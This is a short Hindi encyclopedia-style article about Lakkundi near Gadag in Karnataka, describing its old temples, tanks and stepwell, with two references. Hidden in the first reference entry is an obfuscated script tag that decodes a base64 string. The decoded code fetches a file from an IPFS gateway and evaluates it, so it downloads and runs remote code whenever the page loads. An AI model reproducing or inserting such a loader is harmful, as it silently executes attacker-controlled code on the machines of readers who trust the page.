लकुंडी

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लकुंडी मैसूर, कर्नाटक में स्थित एक ऐतिहासिक स्थान है। गदग स्टेशन से आठ मील की दूरी पर पूर्व की ओर लोकोकंडी या प्राचीन लंकुडी की बस्ती है। यहाँ 'विश्वनाथ' और 'मल्लिकार्जुन' नामक भगवान शिव के मंदिर स्थापत्य की दृष्टि से उच्च कोटि के माने जाते हैं। उपरोक्त दोनों मंदिर बहुत प्राचीन हैं।[1]

भौगोलिक स्थिति

होस्पेट से 53 मील आगे गदग स्टेशन है। वहां से 8 मील दक्षिण पूर्व दिशा में लकुंडी बस्ती है। इस स्थान का पुराना नाम लोकोकंडी था। यहां प्राचीन मंदिर बहुत हैं। नगर के पश्चिम द्वार के पास दो मंदिर हैं। इनमें काशी विश्वनाथ का मंदिर स्थापत्य कला का अच्छा नमूना है। पश्चिमी द्वार के बाहर एक सरोवर है। उसके पास नंदीश्वर शिव मंदिर है। सरोवर के पूर्वी किनारे पर वासेश्वर मंदिर है। नगर में मल्लिकार्जुन शिव मंदिर मुख्य है। वहां से समिति एक बावली है। उसमें तीन और सीढ़ियां बनी हुई हैं। बावली से पश्चिम की ओर कुछ दूरी पर मणि केशव (श्रीकृष्ण) का मंदिर है। मंदिर के समीप ही एक सरोवर है। लकुंडी के मंदिर बहुत प्राचीन है। अब जीर्ण दशा में हैं किंतु उनकी निर्माण कला उत्तम है।[2]


इन्हें भी देखें: मैसूर, मैसूर का इतिहास एवं मैसूर का दशहरा


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 809 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. कल्याण विशेषांक तीर्थांक | प्रश्न संख्या- 309

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